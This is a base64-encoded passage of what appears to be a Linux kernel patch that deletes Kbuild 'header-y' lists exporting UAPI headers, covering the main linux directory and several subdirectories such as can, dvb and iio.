ZWZzLmgKLWhlYWRlci15ICs9IGNjaXNzX2lvY3RsLmgKLWhlYWRlci15ICs9IGNkcm9tLmgKLWhl
YWRlci15ICs9IGNlYy5oCi1oZWFkZXIteSArPSBjZWMtZnVuY3MuaAotaGVhZGVyLXkgKz0gY2dy
b3Vwc3RhdHMuaAotaGVhZGVyLXkgKz0gY2hpby5oCi1oZWFkZXIteSArPSBjbTQwMDBfY3MuaAot
aGVhZGVyLXkgKz0gY25fcHJvYy5oCi1oZWFkZXIteSArPSBjb2RhLmgKLWhlYWRlci15ICs9IGNv
ZGFfcHNkZXYuaAotaGVhZGVyLXkgKz0gY29mZi5oCi1oZWFkZXIteSArPSBjb25uZWN0b3IuaAot
aGVhZGVyLXkgKz0gY29uc3QuaAotaGVhZGVyLXkgKz0gY3JhbWZzX2ZzLmgKLWhlYWRlci15ICs9
IGN1ZGEuaAotaGVhZGVyLXkgKz0gY3ljbGFkZXMuaAotaGVhZGVyLXkgKz0gY3ljeF9jZm0uaAot
aGVhZGVyLXkgKz0gZGNibmwuaAotaGVhZGVyLXkgKz0gZGNjcC5oCi1oZWFkZXIteSArPSBkZXZs
aW5rLmgKLWhlYWRlci15ICs9IGRsbWNvbnN0YW50cy5oCi1oZWFkZXIteSArPSBkbG1fZGV2aWNl
LmgKLWhlYWRlci15ICs9IGRsbS5oCi1oZWFkZXIteSArPSBkbG1fbmV0bGluay5oCi1oZWFkZXIt
eSArPSBkbG1fcGxvY2suaAotaGVhZGVyLXkgKz0gZG0taW9jdGwuaAotaGVhZGVyLXkgKz0gZG0t
bG9nLXVzZXJzcGFjZS5oCi1oZWFkZXIteSArPSBkbi5oCi1oZWFkZXIteSArPSBkcWJsa194ZnMu
aAotaGVhZGVyLXkgKz0gZWRkLmgKLWhlYWRlci15ICs9IGVmc19mc19zYi5oCi1oZWFkZXIteSAr
PSBlbGZjb3JlLmgKLWhlYWRlci15ICs9IGVsZi1lbS5oCi1oZWFkZXIteSArPSBlbGYtZmRwaWMu
aAotaGVhZGVyLXkgKz0gZWxmLmgKLWhlYWRlci15ICs9IGVycm5vLmgKLWhlYWRlci15ICs9IGVy
cnF1ZXVlLmgKLWhlYWRlci15ICs9IGV0aHRvb2wuaAotaGVhZGVyLXkgKz0gZXZlbnRwb2xsLmgK
LWhlYWRlci15ICs9IGZhZHZpc2UuaAotaGVhZGVyLXkgKz0gZmFsbG9jLmgKLWhlYWRlci15ICs9
IGZhbm90aWZ5LmgKLWhlYWRlci15ICs9IGZiLmgKLWhlYWRlci15ICs9IGZjbnRsLmgKLWhlYWRl
ci15ICs9IGZkLmgKLWhlYWRlci15ICs9IGZkcmVnLmgKLWhlYWRlci15ICs9IGZpYl9ydWxlcy5o
Ci1oZWFkZXIteSArPSBmaWVtYXAuaAotaGVhZGVyLXkgKz0gZmlsdGVyLmgKLWhlYWRlci15ICs9
IGZpcmV3aXJlLWNkZXYuaAotaGVhZGVyLXkgKz0gZmlyZXdpcmUtY29uc3RhbnRzLmgKLWhlYWRl
ci15ICs9IGZsYXQuaAotaGVhZGVyLXkgKz0gZm91LmgKLWhlYWRlci15ICs9IGZzLmgKLWhlYWRl
ci15ICs9IGZzbF9oeXBlcnZpc29yLmgKLWhlYWRlci15ICs9IGZ1c2UuaAotaGVhZGVyLXkgKz0g
ZnV0ZXguaAotaGVhZGVyLXkgKz0gZ2FtZXBvcnQuaAotaGVhZGVyLXkgKz0gZ2VuZXRsaW5rLmgK
LWhlYWRlci15ICs9IGdlbl9zdGF0cy5oCi1oZWFkZXIteSArPSBnZnMyX29uZGlzay5oCi1oZWFk
ZXIteSArPSBnaWdhc2V0X2Rldi5oCi1oZWFkZXIteSArPSBncGlvLmgKLWhlYWRlci15ICs9IGdz
bW11eC5oCi1oZWFkZXIteSArPSBndHAuaAotaGVhZGVyLXkgKz0gaGRsY2Rydi5oCi1oZWFkZXIt
eSArPSBoZGxjLmgKLWhlYWRlci15ICs9IGhkcmVnLmgKLWhlYWRlci15ICs9IGhpZGRldi5oCi1o
ZWFkZXIteSArPSBoaWQuaAotaGVhZGVyLXkgKz0gaGlkcmF3LmgKLWhlYWRlci15ICs9IGhwZXQu
aAotaGVhZGVyLXkgKz0gaHNyX25ldGxpbmsuaAotaGVhZGVyLXkgKz0gaHlwZXJ2LmgKLWhlYWRl
ci15ICs9IGh5c2RuX2lmLmgKLWhlYWRlci15ICs9IGkyYy1kZXYuaAotaGVhZGVyLXkgKz0gaTJj
LmgKLWhlYWRlci15ICs9IGkyby1kZXYuaAotaGVhZGVyLXkgKz0gaThrLmgKLWhlYWRlci15ICs9
IGljbXAuaAotaGVhZGVyLXkgKz0gaWNtcHY2LmgKLWhlYWRlci15ICs9IGlmX2FkZHIuaAotaGVh
ZGVyLXkgKz0gaWZfYWRkcmxhYmVsLmgKLWhlYWRlci15ICs9IGlmX2FsZy5oCi1oZWFkZXIteSAr
PSBpZl9hcmNuZXQuaAotaGVhZGVyLXkgKz0gaWZfYXJwLmgKLWhlYWRlci15ICs9IGlmX2JvbmRp
bmcuaAotaGVhZGVyLXkgKz0gaWZfYnJpZGdlLmgKLWhlYWRlci15ICs9IGlmX2NhYmxlbW9kZW0u
aAotaGVhZGVyLXkgKz0gaWZfZXFsLmgKLWhlYWRlci15ICs9IGlmX2V0aGVyLmgKLWhlYWRlci15
ICs9IGlmX2ZjLmgKLWhlYWRlci15ICs9IGlmX2ZkZGkuaAotaGVhZGVyLXkgKz0gaWZfZnJhZC5o
Ci1oZWFkZXIteSArPSBpZi5oCi1oZWFkZXIteSArPSBpZl9oaXBwaS5oCi1oZWFkZXIteSArPSBp
Zl9pbmZpbmliYW5kLmgKLWhlYWRlci15ICs9IGlmX2xpbmsuaAotaGVhZGVyLXkgKz0gaWZfbHRh
bGsuaAotaGVhZGVyLXkgKz0gaWZfbWFjc2VjLmgKLWhlYWRlci15ICs9IGlmX3BhY2tldC5oCi1o
ZWFkZXIteSArPSBpZl9waG9uZXQuaAotaGVhZGVyLXkgKz0gaWZfcGxpcC5oCi1oZWFkZXIteSAr
PSBpZl9wcHAuaAotaGVhZGVyLXkgKz0gaWZfcHBwb2wydHAuaAotaGVhZGVyLXkgKz0gaWZfcHBw
b3guaAotaGVhZGVyLXkgKz0gaWZfc2xpcC5oCi1oZWFkZXIteSArPSBpZl90ZWFtLmgKLWhlYWRl
ci15ICs9IGlmX3R1bi5oCi1oZWFkZXIteSArPSBpZl90dW5uZWwuaAotaGVhZGVyLXkgKz0gaWZf
dmxhbi5oCi1oZWFkZXIteSArPSBpZl94MjUuaAotaGVhZGVyLXkgKz0gaWdtcC5oCi1oZWFkZXIt
eSArPSBpbGEuaAotaGVhZGVyLXkgKz0gaW42LmgKLWhlYWRlci15ICs9IGluZXRfZGlhZy5oCi1o
ZWFkZXIteSArPSBpbi5oCi1oZWFkZXIteSArPSBpbm90aWZ5LmgKLWhlYWRlci15ICs9IGlucHV0
LmgKLWhlYWRlci15ICs9IGlucHV0LWV2ZW50LWNvZGVzLmgKLWhlYWRlci15ICs9IGluX3JvdXRl
LmgKLWhlYWRlci15ICs9IGlvY3RsLmgKLWhlYWRlci15ICs9IGlwNl90dW5uZWwuaAotaGVhZGVy
LXkgKz0gaXBjLmgKLWhlYWRlci15ICs9IGlwLmgKLWhlYWRlci15ICs9IGlwbWkuaAotaGVhZGVy
LXkgKz0gaXBtaV9tc2dkZWZzLmgKLWhlYWRlci15ICs9IGlwc2VjLmgKLWhlYWRlci15ICs9IGlw
djYuaAotaGVhZGVyLXkgKz0gaXB2Nl9yb3V0ZS5oCi1oZWFkZXIteSArPSBpcF92cy5oCi1oZWFk
ZXIteSArPSBpcHguaAotaGVhZGVyLXkgKz0gaXJkYS5oCi1oZWFkZXIteSArPSBpcnFuci5oCi1o
ZWFkZXIteSArPSBpc2RuX2RpdmVydGlmLmgKLWhlYWRlci15ICs9IGlzZG4uaAotaGVhZGVyLXkg
Kz0gaXNkbmlmLmgKLWhlYWRlci15ICs9IGlzZG5fcHBwLmgKLWhlYWRlci15ICs9IGlzb19mcy5o
Ci1oZWFkZXIteSArPSBpdnR2ZmIuaAotaGVhZGVyLXkgKz0gaXZ0di5oCi1oZWFkZXIteSArPSBp
eGp1c2VyLmgKLWhlYWRlci15ICs9IGpmZnMyLmgKLWhlYWRlci15ICs9IGpveXN0aWNrLmgKLWhl
YWRlci15ICs9IGtjbXAuaAotaGVhZGVyLXkgKz0ga2Rldl90LmgKLWhlYWRlci15ICs9IGtkLmgK
LWhlYWRlci15ICs9IGtlcm5lbGNhcGkuaAotaGVhZGVyLXkgKz0ga2VybmVsLmgKLWhlYWRlci15
ICs9IGtlcm5lbC1wYWdlLWZsYWdzLmgKLWhlYWRlci15ICs9IGtleGVjLmgKLWhlYWRlci15ICs9
IGtleWJvYXJkLmgKLWhlYWRlci15ICs9IGtleWN0bC5oCi0KLWlmbmVxICgkKHdpbGRjYXJkICQo
c3JjdHJlZSkvYXJjaC8kKFNSQ0FSQ0gpL2luY2x1ZGUvdWFwaS9hc20va3ZtLmggXAotCQkgICQo
c3JjdHJlZSkvYXJjaC8kKFNSQ0FSQ0gpL2luY2x1ZGUvYXNtL2t2bS5oKSwpCi1oZWFkZXIteSAr
PSBrdm0uaAotZW5kaWYKLQotCi1pZm5lcSAoJCh3aWxkY2FyZCAkKHNyY3RyZWUpL2FyY2gvJChT
UkNBUkNIKS9pbmNsdWRlL3VhcGkvYXNtL2t2bV9wYXJhLmggXAotCQkgICQoc3JjdHJlZSkvYXJj
aC8kKFNSQ0FSQ0gpL2luY2x1ZGUvYXNtL2t2bV9wYXJhLmgpLCkKLWhlYWRlci15ICs9IGt2bV9w
YXJhLmgKLWVuZGlmCi0KLWhlYWRlci15ICs9IGh3X2JyZWFrcG9pbnQuaAotaGVhZGVyLXkgKz0g
bDJ0cC5oCi1oZWFkZXIteSArPSBsaWJjLWNvbXBhdC5oCi1oZWFkZXIteSArPSBsaXJjLmgKLWhl
YWRlci15ICs9IGxpbWl0cy5oCi1oZWFkZXIteSArPSBsbGMuaAotaGVhZGVyLXkgKz0gbG9vcC5o
Ci1oZWFkZXIteSArPSBscC5oCi1oZWFkZXIteSArPSBsd3R1bm5lbC5oCi1oZWFkZXIteSArPSBt
YWdpYy5oCi1oZWFkZXIteSArPSBtYWpvci5oCi1oZWFkZXIteSArPSBtYXBfdG9fN3NlZ21lbnQu
aAotaGVhZGVyLXkgKz0gbWF0cm94ZmIuaAotaGVhZGVyLXkgKz0gbWRpby5oCi1oZWFkZXIteSAr
PSBtZWRpYS5oCi1oZWFkZXIteSArPSBtZWRpYS1idXMtZm9ybWF0LmgKLWhlYWRlci15ICs9IG1l
aS5oCi1oZWFkZXIteSArPSBtZW1iYXJyaWVyLmgKLWhlYWRlci15ICs9IG1lbWZkLmgKLWhlYWRl
ci15ICs9IG1lbXBvbGljeS5oCi1oZWFkZXIteSArPSBtZXllLmgKLWhlYWRlci15ICs9IG1pY19j
b21tb24uaAotaGVhZGVyLXkgKz0gbWljX2lvY3RsLmgKLWhlYWRlci15ICs9IG1paS5oCi1oZWFk
ZXIteSArPSBtaW5peF9mcy5oCi1oZWFkZXIteSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1tdGlt
ZXIuaAotaGVhZGVyLXkgKz0gbXBscy5oCi1oZWFkZXIteSArPSBtcGxzX2lwdHVubmVsLmgKLWhl
YWRlci15ICs9IG1xdWV1ZS5oCi1oZWFkZXIteSArPSBtcm91dGU2LmgKLWhlYWRlci15ICs9IG1y
b3V0ZS5oCi1oZWFkZXIteSArPSBtc2Rvc19mcy5oCi1oZWFkZXIteSArPSBtc2cuaAotaGVhZGVy
LXkgKz0gbXRpby5oCi1oZWFkZXIteSArPSBuYmQuaAotaGVhZGVyLXkgKz0gbmNwX2ZzLmgKLWhl
YWRlci15ICs9IG5jcC5oCi1oZWFkZXIteSArPSBuY3BfbW91bnQuaAotaGVhZGVyLXkgKz0gbmNw
X25vLmgKLWhlYWRlci15ICs9IG5kY3RsLmgKLWhlYWRlci15ICs9IG5laWdoYm91ci5oCi1oZWFk
ZXIteSArPSBuZXRjb25mLmgKLWhlYWRlci15ICs9IG5ldGRldmljZS5oCi1oZWFkZXIteSArPSBu
ZXRfZHJvcG1vbi5oCi1oZWFkZXIteSArPSBuZXRmaWx0ZXJfYXJwLmgKLWhlYWRlci15ICs9IG5l
dGZpbHRlcl9icmlkZ2UuaAotaGVhZGVyLXkgKz0gbmV0ZmlsdGVyX2RlY25ldC5oCi1oZWFkZXIt
eSArPSBuZXRmaWx0ZXIuaAotaGVhZGVyLXkgKz0gbmV0ZmlsdGVyX2lwdjQuaAotaGVhZGVyLXkg
Kz0gbmV0ZmlsdGVyX2lwdjYuaAotaGVhZGVyLXkgKz0gbmV0LmgKLWhlYWRlci15ICs9IG5ldGxp
bmtfZGlhZy5oCi1oZWFkZXIteSArPSBuZXRsaW5rLmgKLWhlYWRlci15ICs9IG5ldHJvbS5oCi1o
ZWFkZXIteSArPSBuZXRfbmFtZXNwYWNlLmgKLWhlYWRlci15ICs9IG5ldF90c3RhbXAuaAotaGVh
ZGVyLXkgKz0gbmZjLmgKLWhlYWRlci15ICs9IG5mczIuaAotaGVhZGVyLXkgKz0gbmZzMy5oCi1o
ZWFkZXIteSArPSBuZnM0LmgKLWhlYWRlci15ICs9IG5mczRfbW91bnQuaAotaGVhZGVyLXkgKz0g
bmZzYWNsLmgKLWhlYWRlci15ICs9IG5mc19mcy5oCi1oZWFkZXIteSArPSBuZnMuaAotaGVhZGVy
LXkgKz0gbmZzX2lkbWFwLmgKLWhlYWRlci15ICs9IG5mc19tb3VudC5oCi1oZWFkZXIteSArPSBu
bDgwMjExLmgKLWhlYWRlci15ICs9IG5fcjM5NjQuaAotaGVhZGVyLXkgKz0gbnVidXMuaAotaGVh
ZGVyLXkgKz0gbnZtZV9pb2N0bC5oCi1oZWFkZXIteSArPSBudnJhbS5oCi1oZWFkZXIteSArPSBv
bWFwM2lzcC5oCi1oZWFkZXIteSArPSBvbWFwZmIuaAotaGVhZGVyLXkgKz0gb29tLmgKLWhlYWRl
ci15ICs9IG9wZW52c3dpdGNoLmgKLWhlYWRlci15ICs9IHBhY2tldF9kaWFnLmgKLWhlYWRlci15
ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9IHBhcnBvcnQuaAotaGVhZGVyLXkgKz0gcGF0Y2hrZXku
aAotaGVhZGVyLXkgKz0gcGNpLmgKLWhlYWRlci15ICs9IHBjaV9yZWdzLmgKLWhlYWRlci15ICs9
IHBlcmZfZXZlbnQuaAotaGVhZGVyLXkgKz0gcGVyc29uYWxpdHkuaAotaGVhZGVyLXkgKz0gcGZr
ZXl2Mi5oCi1oZWFkZXIteSArPSBwZy5oCi1oZWFkZXIteSArPSBwaGFudG9tLmgKLWhlYWRlci15
ICs9IHBob25ldC5oCi1oZWFkZXIteSArPSBwa3RjZHZkLmgKLWhlYWRlci15ICs9IHBrdF9jbHMu
aAotaGVhZGVyLXkgKz0gcGt0X3NjaGVkLmgKLWhlYWRlci15ICs9IHBtdS5oCi1oZWFkZXIteSAr
PSBwb2xsLmgKLWhlYWRlci15ICs9IHBvc2l4X2FjbC5oCi1oZWFkZXIteSArPSBwb3NpeF9hY2xf
eGF0dHIuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlwZXMuaAotaGVhZGVyLXkgKz0gcHBkZXYuaAot
aGVhZGVyLXkgKz0gcHBwLWNvbXAuaAotaGVhZGVyLXkgKz0gcHBwX2RlZnMuaAotaGVhZGVyLXkg
Kz0gcHBwLWlvY3RsLmgKLWhlYWRlci15ICs9IHBwcy5oCi1oZWFkZXIteSArPSBwcmN0bC5oCi1o
ZWFkZXIteSArPSBwc2NpLmgKLWhlYWRlci15ICs9IHB0cF9jbG9jay5oCi1oZWFkZXIteSArPSBw
dHJhY2UuaAotaGVhZGVyLXkgKz0gcW54NF9mcy5oCi1oZWFkZXIteSArPSBxbnh0eXBlcy5oCi1o
ZWFkZXIteSArPSBxdW90YS5oCi1oZWFkZXIteSArPSByYWRlb25mYi5oCi1oZWFkZXIteSArPSBy
YW5kb20uaAotaGVhZGVyLXkgKz0gcmF3LmgKLWhlYWRlci15ICs9IHJkcy5oCi1oZWFkZXIteSAr
PSByZWJvb3QuaAotaGVhZGVyLXkgKz0gcmVpc2VyZnNfZnMuaAotaGVhZGVyLXkgKz0gcmVpc2Vy
ZnNfeGF0dHIuaAotaGVhZGVyLXkgKz0gcmVzb3VyY2UuaAotaGVhZGVyLXkgKz0gcmZraWxsLmgK
LWhlYWRlci15ICs9IHJpb19jbV9jZGV2LmgKLWhlYWRlci15ICs9IHJpb19tcG9ydF9jZGV2LmgK
LWhlYWRlci15ICs9IHJvbWZzX2ZzLmgKLWhlYWRlci15ICs9IHJvc2UuaAotaGVhZGVyLXkgKz0g
cm91dGUuaAotaGVhZGVyLXkgKz0gcnRjLmgKLWhlYWRlci15ICs9IHJ0bmV0bGluay5oCi1oZWFk
ZXIteSArPSBzY2MuaAotaGVhZGVyLXkgKz0gc2NoZWQuaAotaGVhZGVyLXkgKz0gc2NpZl9pb2N0
bC5oCi1oZWFkZXIteSArPSBzY3JlZW5faW5mby5oCi1oZWFkZXIteSArPSBzY3RwLmgKLWhlYWRl
ci15ICs9IHNkbGEuaAotaGVhZGVyLXkgKz0gc2VjY29tcC5oCi1oZWFkZXIteSArPSBzZWN1cmVi
aXRzLmgKLWhlYWRlci15ICs9IHNlbGludXhfbmV0bGluay5oCi1oZWFkZXIteSArPSBzZW0uaAot
aGVhZGVyLXkgKz0gc2VyaWFsX2NvcmUuaAotaGVhZGVyLXkgKz0gc2VyaWFsLmgKLWhlYWRlci15
ICs9IHNlcmlhbF9yZWcuaAotaGVhZGVyLXkgKz0gc2VyaW8uaAotaGVhZGVyLXkgKz0gc2htLmgK
LWhlYWRlci15ICs9IHNpZ25hbGZkLmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSAr
PSBzbWlhcHAuaAotaGVhZGVyLXkgKz0gc25tcC5oCi1oZWFkZXIteSArPSBzb2NrX2RpYWcuaAot
aGVhZGVyLXkgKz0gc29ja2V0LmgKLWhlYWRlci15ICs9IHNvY2tpb3MuaAotaGVhZGVyLXkgKz0g
c29uZXQuaAotaGVhZGVyLXkgKz0gc29ueXBpLmgKLWhlYWRlci15ICs9IHNvdW5kY2FyZC5oCi1o
ZWFkZXIteSArPSBzb3VuZC5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN0ZGRl
Zi5oCi1oZWFkZXIteSArPSBzdHJpbmcuaAotaGVhZGVyLXkgKz0gc3VzcGVuZF9pb2N0bHMuaAot
aGVhZGVyLXkgKz0gc3dhYi5oCi1oZWFkZXIteSArPSBzeW5jbGluay5oCi1oZWFkZXIteSArPSBz
eW5jX2ZpbGUuaAotaGVhZGVyLXkgKz0gc3lzY3RsLmgKLWhlYWRlci15ICs9IHN5c2luZm8uaAot
aGVhZGVyLXkgKz0gdGFyZ2V0X2NvcmVfdXNlci5oCi1oZWFkZXIteSArPSB0YXNrc3RhdHMuaAot
aGVhZGVyLXkgKz0gdGNwLmgKLWhlYWRlci15ICs9IHRjcF9tZXRyaWNzLmgKLWhlYWRlci15ICs9
IHRlbGVwaG9ueS5oCi1oZWFkZXIteSArPSB0ZXJtaW9zLmgKLWhlYWRlci15ICs9IHRoZXJtYWwu
aAotaGVhZGVyLXkgKz0gdGltZS5oCi1oZWFkZXIteSArPSB0aW1lcy5oCi1oZWFkZXIteSArPSB0
aW1leC5oCi1oZWFkZXIteSArPSB0aW9jbC5oCi1oZWFkZXIteSArPSB0aXBjX2NvbmZpZy5oCi1o
ZWFkZXIteSArPSB0aXBjX25ldGxpbmsuaAotaGVhZGVyLXkgKz0gdGlwYy5oCi1oZWFkZXIteSAr
PSB0b3NoaWJhLmgKLWhlYWRlci15ICs9IHR0eV9mbGFncy5oCi1oZWFkZXIteSArPSB0dHkuaAot
aGVhZGVyLXkgKz0gdHlwZXMuaAotaGVhZGVyLXkgKz0gdWRmX2ZzX2kuaAotaGVhZGVyLXkgKz0g
dWRwLmgKLWhlYWRlci15ICs9IHVoaWQuaAotaGVhZGVyLXkgKz0gdWlucHV0LmgKLWhlYWRlci15
ICs9IHVpby5oCi1oZWFkZXIteSArPSB1bGVkcy5oCi1oZWFkZXIteSArPSB1bHRyYXNvdW5kLmgK
LWhlYWRlci15ICs9IHVuLmgKLWhlYWRlci15ICs9IHVuaXN0ZC5oCi1oZWFkZXIteSArPSB1bml4
X2RpYWcuaAotaGVhZGVyLXkgKz0gdXNiZGV2aWNlX2ZzLmgKLWhlYWRlci15ICs9IHVzYmlwLmgK
LWhlYWRlci15ICs9IHV0aW1lLmgKLWhlYWRlci15ICs9IHV0c25hbWUuaAotaGVhZGVyLXkgKz0g
dXVpZC5oCi1oZWFkZXIteSArPSB1dmN2aWRlby5oCi1oZWFkZXIteSArPSB2NGwyLWNvbW1vbi5o
Ci1oZWFkZXIteSArPSB2NGwyLWNvbnRyb2xzLmgKLWhlYWRlci15ICs9IHY0bDItZHYtdGltaW5n
cy5oCi1oZWFkZXIteSArPSB2NGwyLW1lZGlhYnVzLmgKLWhlYWRlci15ICs9IHY0bDItc3ViZGV2
LmgKLWhlYWRlci15ICs9IHZldGguaAotaGVhZGVyLXkgKz0gdmZpby5oCi1oZWFkZXIteSArPSB2
aG9zdC5oCi1oZWFkZXIteSArPSB2aWRlb2RldjIuaAotaGVhZGVyLXkgKz0gdmlydGlvXzlwLmgK
LWhlYWRlci15ICs9IHZpcnRpb19iYWxsb29uLmgKLWhlYWRlci15ICs9IHZpcnRpb19ibGsuaAot
aGVhZGVyLXkgKz0gdmlydGlvX2NvbmZpZy5oCi1oZWFkZXIteSArPSB2aXJ0aW9fY29uc29sZS5o
Ci1oZWFkZXIteSArPSB2aXJ0aW9fZ3B1LmgKLWhlYWRlci15ICs9IHZpcnRpb19pZHMuaAotaGVh
ZGVyLXkgKz0gdmlydGlvX2lucHV0LmgKLWhlYWRlci15ICs9IHZpcnRpb19uZXQuaAotaGVhZGVy
LXkgKz0gdmlydGlvX3BjaS5oCi1oZWFkZXIteSArPSB2aXJ0aW9fcmluZy5oCi1oZWFkZXIteSAr
PSB2aXJ0aW9fcm5nLmgKLWhlYWRlci15ICs9IHZpcnRpb19zY3NpLmgKLWhlYWRlci15ICs9IHZp
cnRpb190eXBlcy5oCi1oZWFkZXIteSArPSB2aXJ0aW9fdnNvY2suaAotaGVhZGVyLXkgKz0gdmly
dGlvX2NyeXB0by5oCi1oZWFkZXIteSArPSB2bV9zb2NrZXRzLmgKLWhlYWRlci15ICs9IHZ0LmgK
LWhlYWRlci15ICs9IHZ0cG1fcHJveHkuaAotaGVhZGVyLXkgKz0gd2FpdC5oCi1oZWFkZXIteSAr
PSB3YW5yb3V0ZXIuaAotaGVhZGVyLXkgKz0gd2F0Y2hkb2cuaAotaGVhZGVyLXkgKz0gd2ltYXgu
aAotaGVhZGVyLXkgKz0gd2lyZWxlc3MuaAotaGVhZGVyLXkgKz0geDI1LmgKLWhlYWRlci15ICs9
IHhhdHRyLmgKLWhlYWRlci15ICs9IHhmcm0uaAotaGVhZGVyLXkgKz0geGlsaW54LXY0bDItY29u
dHJvbHMuaAotaGVhZGVyLXkgKz0gem9ycm8uaAotaGVhZGVyLXkgKz0gem9ycm9faWRzLmgKLWhl
YWRlci15ICs9IHVzZXJmYXVsdGZkLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9saW51eC9h
bmRyb2lkL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9hbmRyb2lkL0tidWlsZApkZWxldGVk
IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggY2EwMTFlZWMyNTJhLi4wMDAwMDAwMDAwMDAKLS0tIGEv
aW5jbHVkZS91YXBpL2xpbnV4L2FuZHJvaWQvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMiAr
MCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBiaW5kZXIuaApk
aWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L2J5dGVvcmRlci9LYnVpbGQgYi9pbmNsdWRl
L3VhcGkvbGludXgvYnl0ZW9yZGVyL0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5k
ZXggNjE5MjI1YjlmZjJlLi4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL2xpbnV4L2J5
dGVvcmRlci9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwzICswLDAgQEAKLSMgVUFQSSBIZWFk
ZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGJpZ19lbmRpYW4uaAotaGVhZGVyLXkgKz0gbGl0
dGxlX2VuZGlhbi5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvY2FpZi9LYnVpbGQg
Yi9pbmNsdWRlL3VhcGkvbGludXgvY2FpZi9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0
CmluZGV4IDQzMzk2NjEyZDNhMy4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51
eC9jYWlmL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDMgKzAsMCBAQAotIyBVQVBJIEhlYWRl
ciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gY2FpZl9zb2NrZXQuaAotaGVhZGVyLXkgKz0gaWZf
Y2FpZi5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvY2FuL0tidWlsZCBiL2luY2x1
ZGUvdWFwaS9saW51eC9jYW4vS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAy
MWM5MWJmMjVhMjkuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvY2FuL0ti
dWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDYgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQg
bGlzdAotaGVhZGVyLXkgKz0gYmNtLmgKLWhlYWRlci15ICs9IGVycm9yLmgKLWhlYWRlci15ICs9
IGd3LmgKLWhlYWRlci15ICs9IG5ldGxpbmsuaAotaGVhZGVyLXkgKz0gcmF3LmgKZGlmZiAtLWdp
dCBhL2luY2x1ZGUvdWFwaS9saW51eC9kdmIvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L2R2
Yi9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IGQ0MDk0MmNmYzYyNy4uMDAw
MDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51eC9kdmIvS2J1aWxkCisrKyAvZGV2L251
bGwKQEAgLTEsOSArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSAr
PSBhdWRpby5oCi1oZWFkZXIteSArPSBjYS5oCi1oZWFkZXIteSArPSBkbXguaAotaGVhZGVyLXkg
Kz0gZnJvbnRlbmQuaAotaGVhZGVyLXkgKz0gbmV0LmgKLWhlYWRlci15ICs9IG9zZC5oCi1oZWFk
ZXIteSArPSB2ZXJzaW9uLmgKLWhlYWRlci15ICs9IHZpZGVvLmgKZGlmZiAtLWdpdCBhL2luY2x1
ZGUvdWFwaS9saW51eC9oZGxjL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9oZGxjL0tidWls
ZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggOGMxZDJjYjc1ZTMzLi4wMDAwMDAwMDAw
MDAKLS0tIGEvaW5jbHVkZS91YXBpL2xpbnV4L2hkbGMvS2J1aWxkCisrKyAvZGV2L251bGwKQEAg
LTEsMiArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBpb2N0
bC5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvaHNpL0tidWlsZCBiL2luY2x1ZGUv
dWFwaS9saW51eC9oc2kvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBhMTZh
MDA1NDQyNTguLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvaHNpL0tidWls
ZAorKysgL2Rldi9udWxsCkBAIC0xLDIgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlz
dAotaGVhZGVyLXkgKz0gaHNpX2NoYXIuaCBjcy1wcm90b2NvbC5oCmRpZmYgLS1naXQgYS9pbmNs
dWRlL3VhcGkvbGludXgvaWlvL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9paW8vS2J1aWxk
CmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCA4NmY3NmQ4NGM0NGYuLjAwMDAwMDAwMDAw
MAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvaWlvL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0x
LDMgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gZXZlbnRz
LmgKLWhlYWRlci15ICs9IHR5cGVzLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9saW51eC9p
c2RuL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9pc2RuL0tidWlsZApkZWxldGVkIGZpbGUg
